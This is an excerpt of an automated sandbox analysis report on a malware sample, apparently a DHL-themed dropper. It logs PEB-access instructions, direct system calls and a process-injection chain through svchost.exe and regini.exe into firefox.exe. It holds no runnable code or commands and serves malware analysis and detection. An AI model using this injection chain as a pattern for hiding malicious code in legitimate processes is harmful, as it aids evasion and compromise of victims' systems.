Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]	2_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]	2_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]	2_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3C7C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A357C0 mov eax, dword ptr fs:[00000030h]	2_2_03A357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A357C0 mov eax, dword ptr fs:[00000030h]	2_2_03A357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A357C0 mov eax, dword ptr fs:[00000030h]	2_2_03A357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB07C3 mov eax, dword ptr fs:[00000030h]	2_2_03AB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF72E mov eax, dword ptr fs:[00000030h]	2_2_03AEF72E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A33720 mov eax, dword ptr fs:[00000030h]	2_2_03A33720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4F720 mov eax, dword ptr fs:[00000030h]	2_2_03A4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4F720 mov eax, dword ptr fs:[00000030h]	2_2_03A4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4F720 mov eax, dword ptr fs:[00000030h]	2_2_03A4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF972B mov eax, dword ptr fs:[00000030h]	2_2_03AF972B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]	2_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]	2_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B73C mov eax, dword ptr fs:[00000030h]	2_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B73C mov eax, dword ptr fs:[00000030h]	2_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B73C mov eax, dword ptr fs:[00000030h]	2_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B73C mov eax, dword ptr fs:[00000030h]	2_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29730 mov eax, dword ptr fs:[00000030h]	2_2_03A29730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29730 mov eax, dword ptr fs:[00000030h]	2_2_03A29730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A65734 mov eax, dword ptr fs:[00000030h]	2_2_03A65734
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3973A mov eax, dword ptr fs:[00000030h]	2_2_03A3973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3973A mov eax, dword ptr fs:[00000030h]	2_2_03A3973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov ecx, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]	2_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAC730 mov eax, dword ptr fs:[00000030h]	2_2_03AAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A37703 mov eax, dword ptr fs:[00000030h]	2_2_03A37703
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A35702 mov eax, dword ptr fs:[00000030h]	2_2_03A35702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A35702 mov eax, dword ptr fs:[00000030h]	2_2_03A35702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C700 mov eax, dword ptr fs:[00000030h]	2_2_03A6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30710 mov eax, dword ptr fs:[00000030h]	2_2_03A30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60710 mov eax, dword ptr fs:[00000030h]	2_2_03A60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6F71F mov eax, dword ptr fs:[00000030h]	2_2_03A6F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6F71F mov eax, dword ptr fs:[00000030h]	2_2_03A6F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B765 mov eax, dword ptr fs:[00000030h]	2_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B765 mov eax, dword ptr fs:[00000030h]	2_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B765 mov eax, dword ptr fs:[00000030h]	2_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B765 mov eax, dword ptr fs:[00000030h]	2_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A38770 mov eax, dword ptr fs:[00000030h]	2_2_03A38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A43740 mov eax, dword ptr fs:[00000030h]	2_2_03A43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A43740 mov eax, dword ptr fs:[00000030h]	2_2_03A43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A43740 mov eax, dword ptr fs:[00000030h]	2_2_03A43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6674D mov esi, dword ptr fs:[00000030h]	2_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]	2_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]	2_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30750 mov eax, dword ptr fs:[00000030h]	2_2_03A30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]	2_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]	2_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B03749 mov eax, dword ptr fs:[00000030h]	2_2_03B03749
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB4755 mov eax, dword ptr fs:[00000030h]	2_2_03AB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C6A6 mov eax, dword ptr fs:[00000030h]	2_2_03A6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D6AA mov eax, dword ptr fs:[00000030h]	2_2_03A2D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D6AA mov eax, dword ptr fs:[00000030h]	2_2_03A2D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A276B2 mov eax, dword ptr fs:[00000030h]	2_2_03A276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A276B2 mov eax, dword ptr fs:[00000030h]	2_2_03A276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A276B2 mov eax, dword ptr fs:[00000030h]	2_2_03A276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A666B0 mov eax, dword ptr fs:[00000030h]	2_2_03A666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB368C mov eax, dword ptr fs:[00000030h]	2_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB368C mov eax, dword ptr fs:[00000030h]	2_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB368C mov eax, dword ptr fs:[00000030h]	2_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB368C mov eax, dword ptr fs:[00000030h]	2_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]	2_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]	2_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5D6E0 mov eax, dword ptr fs:[00000030h]	2_2_03A5D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5D6E0 mov eax, dword ptr fs:[00000030h]	2_2_03A5D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A636EF mov eax, dword ptr fs:[00000030h]	2_2_03A636EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]	2_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]	2_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AED6F0 mov eax, dword ptr fs:[00000030h]	2_2_03AED6F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A6C7 mov eax, dword ptr fs:[00000030h]	2_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC mov eax, dword ptr fs:[00000030h]	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC mov eax, dword ptr fs:[00000030h]	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC mov eax, dword ptr fs:[00000030h]	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC mov eax, dword ptr fs:[00000030h]	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF6C7 mov eax, dword ptr fs:[00000030h]	2_2_03AEF6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A616CF mov eax, dword ptr fs:[00000030h]	2_2_03A616CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E627 mov eax, dword ptr fs:[00000030h]	2_2_03A4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A66620 mov eax, dword ptr fs:[00000030h]	2_2_03A66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05636 mov eax, dword ptr fs:[00000030h]	2_2_03B05636
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A68620 mov eax, dword ptr fs:[00000030h]	2_2_03A68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3262C mov eax, dword ptr fs:[00000030h]	2_2_03A3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A61607 mov eax, dword ptr fs:[00000030h]	2_2_03A61607
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE609 mov eax, dword ptr fs:[00000030h]	2_2_03AAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6F603 mov eax, dword ptr fs:[00000030h]	2_2_03A6F603
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A33616 mov eax, dword ptr fs:[00000030h]	2_2_03A33616
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A33616 mov eax, dword ptr fs:[00000030h]	2_2_03A33616
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72619 mov eax, dword ptr fs:[00000030h]	2_2_03A72619

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtQueryInformationProcess: Direct from: 0x77392C26	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtResumeThread: Direct from: 0x77392FBC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtWriteVirtualMemory: Direct from: 0x7739490C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtCreateUserProcess: Direct from: 0x7739371C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtAllocateVirtualMemory: Direct from: 0x77392BFC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtQuerySystemInformation: Direct from: 0x77392DFC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtReadFile: Direct from: 0x77392ADC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtDelayExecution: Direct from: 0x77392DDC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtProtectVirtualMemory: Direct from: 0x77387B2E	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtWriteVirtualMemory: Direct from: 0x77392E3C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtCreateMutant: Direct from: 0x773935CC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtResumeThread: Direct from: 0x773936AC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtMapViewOfSection: Direct from: 0x77392D1C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtOpenKeyEx: Direct from: 0x77392B9C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtSetInformationProcess: Direct from: 0x77392C5C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtProtectVirtualMemory: Direct from: 0x77392F9C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtNotifyChangeKey: Direct from: 0x77393C2C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtQueryInformationToken: Direct from: 0x77392CAC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtCreateFile: Direct from: 0x77392FEC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtOpenFile: Direct from: 0x77392DCC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtTerminateThread: Direct from: 0x77392FCC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtDeviceIoControlFile: Direct from: 0x77392AEC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtAllocateVirtualMemory: Direct from: 0x77392BEC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtQuerySystemInformation: Direct from: 0x773948CC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtQueryVolumeInformationFile: Direct from: 0x77392F2C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtAllocateVirtualMemory: Direct from: 0x773948EC	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtOpenSection: Direct from: 0x77392E0C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtAllocateVirtualMemory: Direct from: 0x77393C9C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtSetInformationThread: Direct from: 0x773863F9	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtClose: Direct from: 0x77392B6C
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtSetInformationThread: Direct from: 0x77392B4C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtReadVirtualMemory: Direct from: 0x77392E8C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtCreateKey: Direct from: 0x77392C6C	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	NtQueryAttributesFile: Direct from: 0x77392E6C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\regini.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: NULL target: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: NULL target: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\regini.exe

Thread register set: target process: unknown

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\regini.exe

Thread APC queued: target process: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\DHL_734825510.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 3090008

